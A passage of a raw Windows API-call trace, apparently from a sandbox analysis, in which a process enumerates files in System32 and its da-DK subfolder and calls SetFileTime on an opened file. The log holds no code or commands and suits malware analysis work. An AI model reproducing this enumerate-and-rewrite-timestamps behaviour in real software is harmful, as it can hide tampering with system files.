lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad14e9b3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad14e9b3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e5c5fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_865.NLS", cAlternateFileName="")) returned 1 [0144.599] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.599] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad14e9b3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad14e9b3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e5c5fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_866.NLS", cAlternateFileName="")) returned 1 [0144.599] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad174b12, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad174b12, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e5c5fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_869.NLS", cAlternateFileName="")) returned 1 [0144.600] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca04684, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca04684, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289fa99c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_870.NLS", cAlternateFileName="")) returned 1 [0144.600] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4833c9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac4833c9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28322a5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_874.NLS", cAlternateFileName="")) returned 1 [0144.600] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.601] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca2a7e3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca2a7e3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289fa99c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_875.NLS", cAlternateFileName="")) returned 1 [0144.601] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.601] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4833c9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac4833c9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28322a5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x27c22, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_932.NLS", cAlternateFileName="")) returned 1 [0144.601] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.601] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4a9528, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac4a9528, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28322a5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x30022, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_936.NLS", cAlternateFileName="")) returned 1 [0144.601] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.601] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4cf687, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac4cf687, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28348bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x30022, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_949.NLS", cAlternateFileName="")) returned 1 [0144.601] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.602] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac541aa4, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac541aa4, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28348bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x30022, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_950.NLS", cAlternateFileName="")) returned 1 [0144.602] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.602] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0144.602] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.602] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0144.602] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0144.603] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0144.603] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0144.603] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0144.604] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.604] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0144.604] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.604] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0144.604] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.604] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0144.604] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.605] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0144.605] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.605] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0144.605] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.605] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0144.605] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.606] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0144.606] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.615] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0144.615] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.616] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0144.616] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.616] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0144.616] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.616] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0144.616] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.617] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0144.617] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.617] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8fab5928, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fab5928, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0144.617] lstrcmpA (lpString1=".", lpString2="da-DK") returned -1 [0144.617] lstrcmpA (lpString1="..", lpString2="da-DK") returned -1 [0144.617] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\da-DK\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8fab5928, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fab5928, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.621] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.621] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8fab5928, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fab5928, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.621] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.621] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.621] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63c0ef7, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc6752fdf, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc6752fdf, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cdosys.dll.mui", cAlternateFileName="")) returned 1 [0144.621] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.623] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.623] CloseHandle (hObject=0x88) returned 1 [0144.623] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc46e44f9, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc4a041c4, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc4a041c4, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="comctl32.dll.mui", cAlternateFileName="")) returned 1 [0144.623] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.624] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4436c4b, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc49b7f06, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc49de065, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comdlg32.dll.mui", cAlternateFileName="")) returned 1 [0144.624] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.624] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bf6cce, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc2faef15, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc2faef15, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fms.dll.mui", cAlternateFileName="")) returned 1 [0144.624] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.624] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc8eb34f, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xccc7d437, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xccc7d437, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlang.dll.mui", cAlternateFileName="")) returned 1 [0144.624] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.625] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9996b775, 